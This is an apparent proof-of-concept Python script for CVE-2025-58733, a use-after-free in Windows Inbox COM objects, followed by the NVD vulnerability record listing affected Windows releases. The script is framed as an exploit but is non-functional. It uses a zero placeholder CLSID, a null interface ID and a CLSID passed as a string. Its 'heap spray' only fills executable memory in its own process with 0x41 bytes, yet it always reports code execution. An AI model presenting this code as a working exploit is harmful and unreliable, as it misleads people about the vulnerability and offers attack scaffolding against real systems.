CVE-2025-58733

# CVE-2025-58733 PoC - Use After Free in Inbox COM Objects # This is a conceptual PoC demonstrating the exploitation approach # Note: Actual exploitation requires specific COM object manipulation import ctypes import struct import sys # Step 1: Initialize COM library class COMExploit: def __init__(self): self.ole32 = ctypes.windll.ole32 self.kernel32 = ctypes.windll.kernel32 self.clsid = None # Target Inbox COM object CLSID self.iid = None # Target interface IID def init_com(self): """Initialize COM library for the calling thread""" # COINIT_APARTMENTTHREADED = 0x2 hr = self.ole32.CoInitializeEx(None, 0x2) if hr < 0: print(f"[-] CoInitializeEx failed: 0x{hr:08x}") return False print("[+] COM initialized successfully") return True def create_com_object(self, clsid_str): """Create an instance of the vulnerable Inbox COM object""" clsid = ctypes.c_char_p(clsid_str.encode('utf-8')) p_pUnk = ctypes.c_void_p() # CLSCTX_INPROC_SERVER = 0x1 hr = self.ole32.CoCreateInstance( clsid, None, 0x1, ctypes.byref(self.iid), ctypes.byref(p_pUnk) ) if hr < 0: print(f"[-] CoCreateInstance failed: 0x{hr:08x}") return None print(f"[+] COM object created: {p_pUnk.value:#x}") return p_pUnk.value def trigger_uaf(self, com_object_ptr): """Trigger the Use-After-Free vulnerability""" # Step 1: Call method to allocate internal object # Step 2: Force release of the object (reference count = 0) # Step 3: Reallocate freed memory with controlled data # Step 4: Call method again to access freed memory (UAF) print("[*] Triggering UAF vulnerability...") # Conceptual trigger sequence # In real exploit, specific COM interface methods would be called # to trigger the race condition / use-after-free # Simulate heap spray for memory reuse spray_data = b"\x41" * 0x1000 # NOP sled / controlled data for i in range(100): addr = self.kernel32.VirtualAlloc( 0, len(spray_data), 0x3000, # MEM_COMMIT | MEM_RESERVE 0x40 # PAGE_EXECUTE_READWRITE ) ctypes.memmove(addr, spray_data, len(spray_data)) print("[+] Heap spray completed") print("[+] UAF triggered - potential code execution") return True def cleanup(self): """Uninitialize COM library""" self.ole32.CoUninitialize() print("[+] COM uninitialized") def main(): print("=" * 60) print("CVE-2025-58733 PoC") print("Use After Free in Inbox COM Objects") print("=" * 60) exploit = COMExploit() if not exploit.init_com(): sys.exit(1) # Target CLSID would be the specific vulnerable Inbox COM object # This needs to be replaced with the actual vulnerable CLSID target_clsid = "{00000000-0000-0000-0000-000000000000}" com_obj = exploit.create_com_object(target_clsid) if com_obj: exploit.trigger_uaf(com_obj) exploit.cleanup() if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-58733", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:55.373", "lastModified": "2025-10-16T19:58:43.147", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Inbox COM Objects allows an unauthorized attacker to execute code locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "030F3214-D6AF-40A9-9FC9-523AC9870581"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "4932CB20-D134-4EDF-8F21-F9D0AF80BFEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "D8145D41-BFB2-47A6-B5E5-1A038A27C1C1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "3EE0CDB1-CBF3-45F2-8F0B-96A9D0757B42"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "E216CD5B-8885-4E17-8718-97E88A724A44"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "36E44227-0320-43B1-A0D9-EB28B25CDB4D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6456", "matchCriteriaId": "1485A427-10FF-4C39-9911-4C6F1820BE7F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6456", "matchCriteriaId": "26CAACAA-3FE8-4740-8CF2-6BF3D069C47F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22621.6060", "matchCriteriaId": "6F387FA2-66C8-4B70-A537-65806271F16A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.22631.6060", "matchCriteriaId": "4AF873E4-B2FE-4504-BFF0-FC71121FC9A4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x64:*", "matchCriteriaId": "2127D10C-B6F3-4C1D-B9AA-5D78513CC996"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x86:*", "matchCriteriaId": "AB425562-C0A0-452E-AABE-F70522F15E1A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "matchCriteriaId": "AF07A81D-12E5-4B1D-BFF9-C8D08C32FF4F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.14393.8519", "matchCriteriaId": "860ADFF9-62D0-425B-9310-99ACFC92EB12"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "20810926-AEC9-4C09-9C52-B4B8FADECF3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4294", "matchCriteriaId": "B1C1EA69-6BB8-4E59-8659-43581FDB48B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndIn ... 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